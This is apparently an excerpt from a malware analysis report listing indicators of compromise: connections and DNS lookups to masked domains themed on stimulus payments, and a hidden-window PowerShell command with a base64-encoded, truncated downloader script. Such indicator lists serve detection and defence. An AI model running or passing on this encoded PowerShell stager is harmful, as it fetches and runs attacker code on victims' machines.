Technical Information
- 'le########.payments-service.website':443
- 'le########.economicimpactpayment.life':443
- DNS ASK le########.payments-service.website
- DNS ASK le########.economicimpactpayment.life
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -noP -sta -w 1 -enc JAB3AEMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAdwBDAC4ASABFAEEAZABlAHIAUwAuAEEAZABkACgAIgBVAHMAZQByAC0AQQBnAGUAbgB0A...' (with hidden window)